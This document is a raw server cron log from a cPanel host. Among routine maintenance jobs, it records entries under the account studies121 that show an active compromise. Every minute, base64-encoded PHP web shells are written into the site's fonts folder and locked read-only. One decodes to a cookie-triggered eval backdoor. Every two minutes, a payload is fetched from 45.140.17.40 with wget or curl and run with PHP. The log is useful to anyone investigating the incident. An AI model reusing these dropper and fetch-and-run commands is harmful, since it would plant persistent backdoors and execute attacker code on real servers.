Sep  8 04:36:01 ip-184-168-122-23 CROND[10476]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:36:01 ip-184-168-122-23 CROND[10479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:36:01 ip-184-168-122-23 CROND[10478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:36:01 ip-184-168-122-23 CROND[10477]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:36:01 ip-184-168-122-23 CROND[10481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:37:01 ip-184-168-122-23 CROND[10589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:37:01 ip-184-168-122-23 CROND[10588]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:37:01 ip-184-168-122-23 CROND[10591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:37:01 ip-184-168-122-23 CROND[10590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:38:01 ip-184-168-122-23 CROND[10708]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep  8 04:38:01 ip-184-168-122-23 CROND[10711]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:38:01 ip-184-168-122-23 CROND[10712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:38:01 ip-184-168-122-23 CROND[10710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:38:01 ip-184-168-122-23 CROND[10713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:38:01 ip-184-168-122-23 CROND[10714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:39:01 ip-184-168-122-23 CROND[10847]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:39:01 ip-184-168-122-23 CROND[10849]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 04:39:01 ip-184-168-122-23 CROND[10848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:39:01 ip-184-168-122-23 CROND[10852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:39:01 ip-184-168-122-23 CROND[10850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:40:01 ip-184-168-122-23 CROND[10974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:40:01 ip-184-168-122-23 CROND[10976]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 04:40:01 ip-184-168-122-23 CROND[10977]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:40:01 ip-184-168-122-23 CROND[10975]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 04:40:01 ip-184-168-122-23 CROND[10981]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 04:40:01 ip-184-168-122-23 CROND[10982]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:40:01 ip-184-168-122-23 CROND[10978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:40:01 ip-184-168-122-23 CROND[10979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:41:01 ip-184-168-122-23 CROND[11097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:41:01 ip-184-168-122-23 CROND[11099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:41:01 ip-184-168-122-23 CROND[11098]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:41:01 ip-184-168-122-23 CROND[11100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:42:02 ip-184-168-122-23 CROND[11296]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:42:02 ip-184-168-122-23 CROND[11295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:42:02 ip-184-168-122-23 CROND[11297]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:42:02 ip-184-168-122-23 CROND[11299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:42:02 ip-184-168-122-23 CROND[11298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:43:01 ip-184-168-122-23 CROND[11383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:43:01 ip-184-168-122-23 CROND[11381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:43:01 ip-184-168-122-23 CROND[11382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:43:01 ip-184-168-122-23 CROND[11384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:44:01 ip-184-168-122-23 CROND[11486]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:44:01 ip-184-168-122-23 CROND[11489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:44:01 ip-184-168-122-23 CROND[11490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:44:01 ip-184-168-122-23 CROND[11487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:44:01 ip-184-168-122-23 CROND[11488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:45:01 ip-184-168-122-23 CROND[11597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:45:01 ip-184-168-122-23 CROND[11599]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  8 04:45:01 ip-184-168-122-23 CROND[11600]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 04:45:01 ip-184-168-122-23 CROND[11596]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 04:45:01 ip-184-168-122-23 CROND[11602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:45:01 ip-184-168-122-23 CROND[11598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:45:01 ip-184-168-122-23 CROND[11601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:46:01 ip-184-168-122-23 CROND[11724]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:46:01 ip-184-168-122-23 CROND[11726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:46:01 ip-184-168-122-23 CROND[11727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:46:01 ip-184-168-122-23 CROND[11728]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:46:01 ip-184-168-122-23 CROND[11731]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 04:46:01 ip-184-168-122-23 CROND[11730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:46:01 ip-184-168-122-23 CROND[11729]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 04:47:02 ip-184-168-122-23 CROND[11922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:47:02 ip-184-168-122-23 CROND[11920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:47:02 ip-184-168-122-23 CROND[11921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:47:02 ip-184-168-122-23 CROND[11923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:48:01 ip-184-168-122-23 CROND[12001]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
